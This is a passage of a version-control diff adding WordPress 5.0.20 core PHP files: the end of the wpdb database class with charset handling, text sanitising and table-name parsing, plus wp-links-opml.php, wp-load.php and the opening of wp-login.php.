+		if ( empty( $this->table_charset[ $tablekey ] ) ) {
+			// This primes column information for us.
+			$table_charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $table_charset ) ) {
+				return $table_charset;
+			}
+		}
+
+		// If still no column information, return the table charset.
+		if ( empty( $this->col_meta[ $tablekey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		// If this column doesn't exist, return the table charset.
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		// Return false when it's not a string column.
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
+			return false;
+		}
+
+		list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
+		return $charset;
+	}
+
+	/**
+	 * Retrieve the maximum string length allowed in a given column.
+	 * The length may either be specified as a byte length or a character length.
+	 *
+	 * @since 4.2.1
+	 *
+	 * @param string $table  Table name.
+	 * @param string $column Column name.
+	 * @return array|false|WP_Error array( 'length' => (int), 'type' => 'byte' | 'char' )
+	 *                              false if the column has no length (for example, numeric column)
+	 *                              WP_Error object if there was an error.
+	 */
+	public function get_col_length( $table, $column ) {
+		$tablekey = strtolower( $table );
+		$columnkey = strtolower( $column );
+
+		// Skip this entirely if this isn't a MySQL database.
+		if ( empty( $this->is_mysql ) ) {
+			return false;
+		}
+
+		if ( empty( $this->col_meta[ $tablekey ] ) ) {
+			// This primes column information for us.
+			$table_charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $table_charset ) ) {
+				return $table_charset;
+			}
+		}
+
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
+			return false;
+		}
+
+		$typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );
+
+		$type = strtolower( $typeinfo[0] );
+		if ( ! empty( $typeinfo[1] ) ) {
+			$length = trim( $typeinfo[1], ')' );
+		} else {
+			$length = false;
+		}
+
+		switch( $type ) {
+			case 'char':
+			case 'varchar':
+				return array(
+					'type'   => 'char',
+					'length' => (int) $length,
+				);
+
+			case 'binary':
+			case 'varbinary':
+				return array(
+					'type'   => 'byte',
+					'length' => (int) $length,
+				);
+
+			case 'tinyblob':
+			case 'tinytext':
+				return array(
+					'type'   => 'byte',
+					'length' => 255,        // 2^8 - 1
+				);
+
+			case 'blob':
+			case 'text':
+				return array(
+					'type'   => 'byte',
+					'length' => 65535,      // 2^16 - 1
+				);
+
+			case 'mediumblob':
+			case 'mediumtext':
+				return array(
+					'type'   => 'byte',
+					'length' => 16777215,   // 2^24 - 1
+				);
+
+			case 'longblob':
+			case 'longtext':
+				return array(
+					'type'   => 'byte',
+					'length' => 4294967295, // 2^32 - 1
+				);
+
+			default:
+				return false;
+		}
+	}
+
+	/**
+	 * Check if a string is ASCII.
+	 *
+	 * The negative regex is faster for non-ASCII strings, as it allows
+	 * the search to finish as soon as it encounters a non-ASCII character.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $string String to check.
+	 * @return bool True if ASCII, false if not.
+	 */
+	protected function check_ascii( $string ) {
+		if ( function_exists( 'mb_check_encoding' ) ) {
+			if ( mb_check_encoding( $string, 'ASCII' ) ) {
+				return true;
+			}
+		} elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if the query is accessing a collation considered safe on the current version of MySQL.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $query The query to check.
+	 * @return bool True if the collation is safe, false if it isn't.
+	 */
+	protected function check_safe_collation( $query ) {
+		if ( $this->checking_collation ) {
+			return true;
+		}
+
+		// We don't need to check the collation for queries that don't read data.
+		$query = ltrim( $query, "\r\n\t (" );
+		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
+			return true;
+		}
+
+		// All-ASCII queries don't need extra checking.
+		if ( $this->check_ascii( $query ) ) {
+			return true;
+		}
+
+		$table = $this->get_table_from_query( $query );
+		if ( ! $table ) {
+			return false;
+		}
+
+		$this->checking_collation = true;
+		$collation = $this->get_table_charset( $table );
+		$this->checking_collation = false;
+
+		// Tables with no collation, or latin1 only, don't need extra checking.
+		if ( false === $collation || 'latin1' === $collation ) {
+			return true;
+		}
+
+		$table = strtolower( $table );
+		if ( empty( $this->col_meta[ $table ] ) ) {
+			return false;
+		}
+
+		// If any of the columns don't have one of these collations, it needs more sanity checking.
+		foreach ( $this->col_meta[ $table ] as $col ) {
+			if ( empty( $col->Collation ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $col->Collation, array( 'utf8_general_ci', 'utf8_bin', 'utf8mb4_general_ci', 'utf8mb4_bin' ), true ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Strips any invalid characters based on value/charset pairs.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $data Array of value arrays. Each value array has the keys
+	 *                    'value' and 'charset'. An optional 'ascii' key can be
+	 *                    set to false to avoid redundant ASCII checks.
+	 * @return array|WP_Error The $data parameter, with invalid characters removed from
+	 *                        each value. This works as a passthrough: any additional keys
+	 *                        such as 'field' are retained in each value array. If we cannot
+	 *                        remove invalid characters, a WP_Error object is returned.
+	 */
+	protected function strip_invalid_text( $data ) {
+		$db_check_string = false;
+
+		foreach ( $data as &$value ) {
+			$charset = $value['charset'];
+
+			if ( is_array( $value['length'] ) ) {
+				$length = $value['length']['length'];
+				$truncate_by_byte_length = 'byte' === $value['length']['type'];
+			} else {
+				$length = false;
+				// Since we have no length, we'll never truncate.
+				// Initialize the variable to false. true would take us
+				// through an unnecessary (for this case) codepath below.
+				$truncate_by_byte_length = false;
+			}
+
+			// There's no charset to work with.
+			if ( false === $charset ) {
+				continue;
+			}
+
+			// Column isn't a string.
+			if ( ! is_string( $value['value'] ) ) {
+				continue;
+			}
+
+			$needs_validation = true;
+			if (
+				// latin1 can store any byte sequence
+				'latin1' === $charset
+			||
+				// ASCII is always OK.
+				( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
+			) {
+				$truncate_by_byte_length = true;
+				$needs_validation = false;
+			}
+
+			if ( $truncate_by_byte_length ) {
+				mbstring_binary_safe_encoding();
+				if ( false !== $length && strlen( $value['value'] ) > $length ) {
+					$value['value'] = substr( $value['value'], 0, $length );
+				}
+				reset_mbstring_encoding();
+
+				if ( ! $needs_validation ) {
+					continue;
+				}
+			}
+
+			// utf8 can be handled by regex, which is a bunch faster than a DB lookup.
+			if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
+				$regex = '/
+					(
+						(?: [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+						|   [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+						|   \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+						|   [\xE1-\xEC][\x80-\xBF]{2}
+						|   \xED[\x80-\x9F][\x80-\xBF]
+						|   [\xEE-\xEF][\x80-\xBF]{2}';
+
+				if ( 'utf8mb4' === $charset ) {
+					$regex .= '
+						|    \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+						|    [\xF1-\xF3][\x80-\xBF]{3}
+						|    \xF4[\x80-\x8F][\x80-\xBF]{2}
+					';
+				}
+
+				$regex .= '){1,40}                          # ...one or more times
+					)
+					| .                                  # anything else
+					/x';
+				$value['value'] = preg_replace( $regex, '$1', $value['value'] );
+
+
+				if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
+					$value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
+				}
+				continue;
+			}
+
+			// We couldn't use any local conversions, send it to the DB.
+			$value['db'] = $db_check_string = true;
+		}
+		unset( $value ); // Remove by reference.
+
+		if ( $db_check_string ) {
+			$queries = array();
+			foreach ( $data as $col => $value ) {
+				if ( ! empty( $value['db'] ) ) {
+					// We're going to need to truncate by characters or bytes, depending on the length value we have.
+					if ( 'byte' === $value['length']['type'] ) {
+						// Using binary causes LEFT() to truncate by bytes.
+						$charset = 'binary';
+					} else {
+						$charset = $value['charset'];
+					}
+
+					if ( $this->charset ) {
+						$connection_charset = $this->charset;
+					} else {
+						if ( $this->use_mysqli ) {
+							$connection_charset = mysqli_character_set_name( $this->dbh );
+						} else {
+							$connection_charset = mysql_client_encoding();
+						}
+					}
+
+					if ( is_array( $value['length'] ) ) {
+						$length = sprintf( '%.0f', $value['length']['length'] );
+						$queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] );
+					} else if ( 'binary' !== $charset ) {
+						// If we don't have a length, there's no need to convert binary - it will always return the same result.
+						$queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] );
+					}
+
+					unset( $data[ $col ]['db'] );
+				}
+			}
+
+			$sql = array();
+			foreach ( $queries as $column => $query ) {
+				if ( ! $query ) {
+					continue;
+				}
+
+				$sql[] = $query . " AS x_$column";
+			}
+
+			$this->check_current_query = false;
+			$row = $this->get_row( "SELECT " . implode( ', ', $sql ), ARRAY_A );
+			if ( ! $row ) {
+				return new WP_Error( 'wpdb_strip_invalid_text_failure' );
+			}
+
+			foreach ( array_keys( $data ) as $column ) {
+				if ( isset( $row["x_$column"] ) ) {
+					$data[ $column ]['value'] = $row["x_$column"];
+				}
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Strips any invalid characters from the query.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $query Query to convert.
+	 * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails.
+	 */
+	protected function strip_invalid_text_from_query( $query ) {
+		// We don't need to check the collation for queries that don't read data.
+		$trimmed_query = ltrim( $query, "\r\n\t (" );
+		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
+			return $query;
+		}
+
+		$table = $this->get_table_from_query( $query );
+		if ( $table ) {
+			$charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $charset ) ) {
+				return $charset;
+			}
+
+			// We can't reliably strip text from tables containing binary/blob columns
+			if ( 'binary' === $charset ) {
+				return $query;
+			}
+		} else {
+			$charset = $this->charset;
+		}
+
+		$data = array(
+			'value'   => $query,
+			'charset' => $charset,
+			'ascii'   => false,
+			'length'  => false,
+		);
+
+		$data = $this->strip_invalid_text( array( $data ) );
+		if ( is_wp_error( $data ) ) {
+			return $data;
+		}
+
+		return $data[0]['value'];
+	}
+
+	/**
+	 * Strips any invalid characters from the string for a given table and column.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $table  Table name.
+	 * @param string $column Column name.
+	 * @param string $value  The text to check.
+	 * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails.
+	 */
+	public function strip_invalid_text_for_column( $table, $column, $value ) {
+		if ( ! is_string( $value ) ) {
+			return $value;
+		}
+
+		$charset = $this->get_col_charset( $table, $column );
+		if ( ! $charset ) {
+			// Not a string column.
+			return $value;
+		} elseif ( is_wp_error( $charset ) ) {
+			// Bail on real errors.
+			return $charset;
+		}
+
+		$data = array(
+			$column => array(
+				'value'   => $value,
+				'charset' => $charset,
+				'length'  => $this->get_col_length( $table, $column ),
+			)
+		);
+
+		$data = $this->strip_invalid_text( $data );
+		if ( is_wp_error( $data ) ) {
+			return $data;
+		}
+
+		return $data[ $column ]['value'];
+	}
+
+	/**
+	 * Find the first table name referenced in a query.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $query The query to search.
+	 * @return string|false $table The table name found, or false if a table couldn't be found.
+	 */
+	protected function get_table_from_query( $query ) {
+		// Remove characters that can legally trail the table name.
+		$query = rtrim( $query, ';/-#' );
+
+		// Allow (select...) union [...] style queries. Use the first query's table name.
+		$query = ltrim( $query, "\r\n\t (" );
+
+		// Strip everything between parentheses except nested selects.
+		$query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query );
+
+		// Quickly match most common queries.
+		if ( preg_match( '/^\s*(?:'
+				. 'SELECT.*?\s+FROM'
+				. '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
+				. '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
+				. '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
+				. '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?'
+				. ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) {
+			return str_replace( '`', '', $maybe[1] );
+		}
+
+		// SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts'
+		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) {
+			return $maybe[2];
+		}
+
+		// SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%'
+		// This quoted LIKE operand seldom holds a full table name.
+		// It is usually a pattern for matching a prefix so we just
+		// strip the trailing % and unescape the _ to get 'wp_123_'
+		// which drop-ins can use for routing these SQL statements.
+		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) {
+			return str_replace( '\\_', '_', $maybe[2] );
+		}
+
+		// Big pattern for the rest of the table-related queries.
+		if ( preg_match( '/^\s*(?:'
+				. '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
+				. '|DESCRIBE|DESC|EXPLAIN|HANDLER'
+				. '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
+				. '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
+				. '|TRUNCATE(?:\s+TABLE)?'
+				. '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
+				. '|ALTER(?:\s+IGNORE)?\s+TABLE'
+				. '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
+				. '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
+				. '|DROP\s+INDEX.*\s+ON'
+				. '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
+				. '|(?:GRANT|REVOKE).*ON\s+TABLE'
+				. '|SHOW\s+(?:.*FROM|.*TABLE)'
+				. ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is', $query, $maybe ) ) {
+			return str_replace( '`', '', $maybe[1] );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Load the column metadata from the last query.
+	 *
+	 * @since 3.5.0
+	 *
+	 */
+	protected function load_col_info() {
+		if ( $this->col_info )
+			return;
+
+		if ( $this->use_mysqli ) {
+			$num_fields = mysqli_num_fields( $this->result );
+			for ( $i = 0; $i < $num_fields; $i++ ) {
+				$this->col_info[ $i ] = mysqli_fetch_field( $this->result );
+			}
+		} else {
+			$num_fields = mysql_num_fields( $this->result );
+			for ( $i = 0; $i < $num_fields; $i++ ) {
+				$this->col_info[ $i ] = mysql_fetch_field( $this->result, $i );
+			}
+		}
+	}
+
+	/**
+	 * Retrieve column metadata from the last query.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $info_type  Optional. Type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill
+	 * @param int    $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type
+	 * @return mixed Column Results
+	 */
+	public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
+		$this->load_col_info();
+
+		if ( $this->col_info ) {
+			if ( $col_offset == -1 ) {
+				$i = 0;
+				$new_array = array();
+				foreach ( (array) $this->col_info as $col ) {
+					$new_array[$i] = $col->{$info_type};
+					$i++;
+				}
+				return $new_array;
+			} else {
+				return $this->col_info[$col_offset]->{$info_type};
+			}
+		}
+	}
+
+	/**
+	 * Starts the timer, for debugging purposes.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return true
+	 */
+	public function timer_start() {
+		$this->time_start = microtime( true );
+		return true;
+	}
+
+	/**
+	 * Stops the debugging timer.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return float Total time spent on the query, in seconds
+	 */
+	public function timer_stop() {
+		return ( microtime( true ) - $this->time_start );
+	}
+
+	/**
+	 * Wraps errors in a nice header and footer and dies.
+	 *
+	 * Will not die if wpdb::$show_errors is false.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $message    The Error message
+	 * @param string $error_code Optional. A Computer readable string to identify the error.
+	 * @return false|void
+	 */
+	public function bail( $message, $error_code = '500' ) {
+		if ( !$this->show_errors ) {
+			if ( class_exists( 'WP_Error', false ) ) {
+				$this->error = new WP_Error($error_code, $message);
+			} else {
+				$this->error = $message;
+			}
+			return false;
+		}
+		wp_die($message);
+	}
+
+
+	/**
+	 * Closes the current database connection.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return bool True if the connection was successfully closed, false if it wasn't,
+	 *              or the connection doesn't exist.
+	 */
+	public function close() {
+		if ( ! $this->dbh ) {
+			return false;
+		}
+
+		if ( $this->use_mysqli ) {
+			$closed = mysqli_close( $this->dbh );
+		} else {
+			$closed = mysql_close( $this->dbh );
+		}
+
+		if ( $closed ) {
+			$this->dbh = null;
+			$this->ready = false;
+			$this->has_connected = false;
+		}
+
+		return $closed;
+	}
+
+	/**
+	 * Whether MySQL database is at least the required minimum version.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @global string $wp_version
+	 * @global string $required_mysql_version
+	 *
+	 * @return WP_Error|void
+	 */
+	public function check_database_version() {
+		global $wp_version, $required_mysql_version;
+		// Make sure the server has the required MySQL version
+		if ( version_compare($this->db_version(), $required_mysql_version, '<') ) {
+			/* translators: 1: WordPress version number, 2: Minimum required MySQL version number */
+			return new WP_Error('database_version', sprintf( __( '<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ));
+		}
+	}
+
+	/**
+	 * Whether the database supports collation.
+	 *
+	 * Called when WordPress is generating the table scheme.
+	 *
+	 * Use `wpdb::has_cap( 'collation' )`.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.5.0 Use wpdb::has_cap()
+	 *
+	 * @return bool True if collation is supported, false if version does not
+	 */
+	public function supports_collation() {
+		_deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' );
+		return $this->has_cap( 'collation' );
+	}
+
+	/**
+	 * The database character collate.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return string The database character collate.
+	 */
+	public function get_charset_collate() {
+		$charset_collate = '';
+
+		if ( ! empty( $this->charset ) )
+			$charset_collate = "DEFAULT CHARACTER SET $this->charset";
+		if ( ! empty( $this->collate ) )
+			$charset_collate .= " COLLATE $this->collate";
+
+		return $charset_collate;
+	}
+
+	/**
+	 * Determine if a database supports a particular feature.
+	 *
+	 * @since 2.7.0
+	 * @since 4.1.0 Added support for the 'utf8mb4' feature.
+	 * @since 4.6.0 Added support for the 'utf8mb4_520' feature.
+	 *
+	 * @see wpdb::db_version()
+	 *
+	 * @param string $db_cap The feature to check for. Accepts 'collation',
+	 *                       'group_concat', 'subqueries', 'set_charset',
+	 *                       'utf8mb4', or 'utf8mb4_520'.
+	 * @return int|false Whether the database feature is supported, false otherwise.
+	 */
+	public function has_cap( $db_cap ) {
+		$version = $this->db_version();
+
+		switch ( strtolower( $db_cap ) ) {
+			case 'collation' :    // @since 2.5.0
+			case 'group_concat' : // @since 2.7.0
+			case 'subqueries' :   // @since 2.7.0
+				return version_compare( $version, '4.1', '>=' );
+			case 'set_charset' :
+				return version_compare( $version, '5.0.7', '>=' );
+			case 'utf8mb4' :      // @since 4.1.0
+				if ( version_compare( $version, '5.5.3', '<' ) ) {
+					return false;
+				}
+				if ( $this->use_mysqli ) {
+					$client_version = mysqli_get_client_info();
+				} else {
+					$client_version = mysql_get_client_info();
+				}
+
+				/*
+				 * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
+				 * mysqlnd has supported utf8mb4 since 5.0.9.
+				 */
+				if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
+					$client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
+					return version_compare( $client_version, '5.0.9', '>=' );
+				} else {
+					return version_compare( $client_version, '5.5.3', '>=' );
+				}
+			case 'utf8mb4_520' : // @since 4.6.0
+				return version_compare( $version, '5.6', '>=' );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieve the name of the function that called wpdb.
+	 *
+	 * Searches up the list of functions until it reaches
+	 * the one that would most logically had called this method.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return string|array The name of the calling function
+	 */
+	public function get_caller() {
+		return wp_debug_backtrace_summary( __CLASS__ );
+	}
+
+	/**
+	 * Retrieves the MySQL server version.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @return null|string Null on failure, version number on success.
+	 */
+	public function db_version() {
+		if ( $this->use_mysqli ) {
+			$server_info = mysqli_get_server_info( $this->dbh );
+		} else {
+			$server_info = mysql_get_server_info( $this->dbh );
+		}
+		return preg_replace( '/[^0-9.].*/', '', $server_info );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/wp-diff.php
===================================================================
--- /tags/5.0.20/src/wp-includes/wp-diff.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/wp-diff.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * WordPress Diff bastard child of old MediaWiki Diff Formatter.
+ *
+ * Basically all that remains is the table structure and some method names.
+ *
+ * @package WordPress
+ * @subpackage Diff
+ */
+
+if ( ! class_exists( 'Text_Diff', false ) ) {
+	/** Text_Diff class */
+	require( ABSPATH . WPINC . '/Text/Diff.php' );
+	/** Text_Diff_Renderer class */
+	require( ABSPATH . WPINC . '/Text/Diff/Renderer.php' );
+	/** Text_Diff_Renderer_inline class */
+	require( ABSPATH . WPINC . '/Text/Diff/Renderer/inline.php' );
+}
+
+require( ABSPATH . WPINC . '/class-wp-text-diff-renderer-table.php' );
+require( ABSPATH . WPINC . '/class-wp-text-diff-renderer-inline.php' );
Index: /tags/5.0.20/src/wp-links-opml.php
===================================================================
--- /tags/5.0.20/src/wp-links-opml.php	(revision 56912)
+++ /tags/5.0.20/src/wp-links-opml.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * Outputs the OPML XML format for getting the links defined in the link
+ * administration. This can be used to export links from one blog over to
+ * another. Links aren't exported by the WordPress export, so this file handles
+ * that.
+ *
+ * This file is not added by default to WordPress theme pages when outputting
+ * feed links. It will have to be added manually for browsers and users to pick
+ * up that this file exists.
+ *
+ * @package WordPress
+ */
+
+require_once( dirname( __FILE__ ) . '/wp-load.php' );
+
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+$link_cat = '';
+if ( !empty($_GET['link_cat']) ) {
+	$link_cat = $_GET['link_cat'];
+	if ( !in_array($link_cat, array('all', '0')) )
+		$link_cat = absint( (string)urldecode($link_cat) );
+}
+
+echo '<?xml version="1.0"?'.">\n";
+?>
+<opml version="1.0">
+	<head>
+		<title><?php
+			/* translators: 1: Site name */
+			printf( __('Links for %s'), esc_attr(get_bloginfo('name', 'display')) );
+		?></title>
+		<dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated>
+		<?php
+		/**
+		 * Fires in the OPML header.
+		 *
+		 * @since 3.0.0
+		 */
+		do_action( 'opml_head' );
+		?>
+	</head>
+	<body>
+<?php
+if ( empty($link_cat) )
+	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0));
+else
+	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat));
+
+foreach ( (array)$cats as $cat ) :
+	/**
+	 * Filters the OPML outline link category name.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $catname The OPML outline category name.
+	 */
+	$catname = apply_filters( 'link_category', $cat->name );
+
+?>
+<outline type="category" title="<?php echo esc_attr($catname); ?>">
+<?php
+	$bookmarks = get_bookmarks(array("category" => $cat->term_id));
+	foreach ( (array)$bookmarks as $bookmark ) :
+		/**
+		 * Filters the OPML outline link title text.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $title The OPML outline title text.
+		 */
+		$title = apply_filters( 'link_title', $bookmark->link_name );
+?>
+	<outline text="<?php echo esc_attr($title); ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" />
+<?php
+	endforeach; // $bookmarks
+?>
+</outline>
+<?php
+endforeach; // $cats
+?>
+</body>
+</opml>
Index: /tags/5.0.20/src/wp-load.php
===================================================================
--- /tags/5.0.20/src/wp-load.php	(revision 56912)
+++ /tags/5.0.20/src/wp-load.php	(revision 56912)
@@ -0,0 +1,93 @@
+<?php
+/**
+ * Bootstrap file for setting the ABSPATH constant
+ * and loading the wp-config.php file. The wp-config.php
+ * file will then load the wp-settings.php file, which
+ * will then set up the WordPress environment.
+ *
+ * If the wp-config.php file is not found then an error
+ * will be displayed asking the visitor to set up the
+ * wp-config.php file.
+ *
+ * Will also search for wp-config.php in WordPress' parent
+ * directory to allow the WordPress directory to remain
+ * untouched.
+ *
+ * @package WordPress
+ */
+
+/** Define ABSPATH as this file's directory */
+if ( ! defined( 'ABSPATH' ) ) {
+	define( 'ABSPATH', dirname( __FILE__ ) . '/' );
+}
+
+error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+
+/*
+ * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
+ * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
+ * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
+ * and /blog/ is WordPress(b).
+ *
+ * If neither set of conditions is true, initiate loading the setup process.
+ */
+if ( file_exists( ABSPATH . 'wp-config.php') ) {
+
+	/** The config file resides in ABSPATH */
+	require_once( ABSPATH . 'wp-config.php' );
+
+} elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {
+
+	/** The config file resides one level above ABSPATH but is not part of another installation */
+	require_once( dirname( ABSPATH ) . '/wp-config.php' );
+
+} else {
+
+	// A config file doesn't exist
+
+	define( 'WPINC', 'wp-includes' );
+	require_once( ABSPATH . WPINC . '/load.php' );
+
+	// Standardize $_SERVER variables across setups.
+	wp_fix_server_vars();
+
+	require_once( ABSPATH . WPINC . '/functions.php' );
+
+	$path = wp_guess_url() . '/wp-admin/setup-config.php';
+
+	/*
+	 * We're going to redirect to setup-config.php. While this shouldn't result
+	 * in an infinite loop, that's a silly thing to assume, don't you think? If
+	 * we're traveling in circles, our last-ditch effort is "Need more help?"
+	 */
+	if ( false === strpos( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
+		header( 'Location: ' . $path );
+		exit;
+	}
+
+	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+	require_once( ABSPATH . WPINC . '/version.php' );
+
+	wp_check_php_mysql_versions();
+	wp_load_translations_early();
+
+	// Die with an error message
+	$die  = sprintf(
+		/* translators: %s: wp-config.php */
+		__( "There doesn't seem to be a %s file. I need this before we can get started." ),
+		'<code>wp-config.php</code>'
+	) . '</p>';
+	$die .= '<p>' . sprintf(
+		/* translators: %s: Codex URL */
+		__( "Need more help? <a href='%s'>We got it</a>." ),
+		__( 'https://codex.wordpress.org/Editing_wp-config.php' )
+	) . '</p>';
+	$die .= '<p>' . sprintf(
+		/* translators: %s: wp-config.php */
+		__( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ),
+		'<code>wp-config.php</code>'
+	) . '</p>';
+	$die .= '<p><a href="' . $path . '" class="button button-large">' . __( "Create a Configuration File" ) . '</a>';
+
+	wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
+}
Index: /tags/5.0.20/src/wp-login.php
===================================================================
--- /tags/5.0.20/src/wp-login.php	(revision 56912)
+++ /tags/5.0.20/src/wp-login.php	(revision 56912)
@@ -0,0 +1,1100 @@
+<?php
+/**
+ * WordPress User Page
+ *
+ * Handles authentication, registering, resetting passwords, forgot password,
+ * and other user handling.
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+// Redirect to https login if forced to use SSL
+if ( force_ssl_admin() && ! is_ssl() ) {
+	if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
+		wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+		exit();
+	} else {
+		wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+		exit();
+	}
+}
+
+/**
+ * Output the login page header.
+ *
